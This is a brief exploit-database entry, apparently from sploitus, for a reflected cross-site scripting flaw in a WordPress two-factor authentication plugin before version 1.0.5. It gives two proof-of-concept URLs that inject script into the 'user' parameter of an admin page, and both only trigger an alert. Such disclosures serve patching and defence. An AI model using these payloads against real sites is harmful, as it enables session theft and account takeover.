Exploit for Ecommerce - Two Factor Authentication < 1.0.5 - Reflected Cross-Site Scripting

## https://sploitus.com/exploit?id=WPEX-ID:35A5F10E-6470-44AE-96EF-A51E8F4D7AF6
v < 1.0.4: https://example.com/wp-admin/users.php?page=reset&action=reset_edit&user="><script>alert(/XSS/)</script>

v < 1.0.5: https://example.com/wp-admin/users.php?page=reset&action=reset_edit&user=" style=animation-name:rotation onanimationstart=alert(/XSS/)// (not working as input is hidden)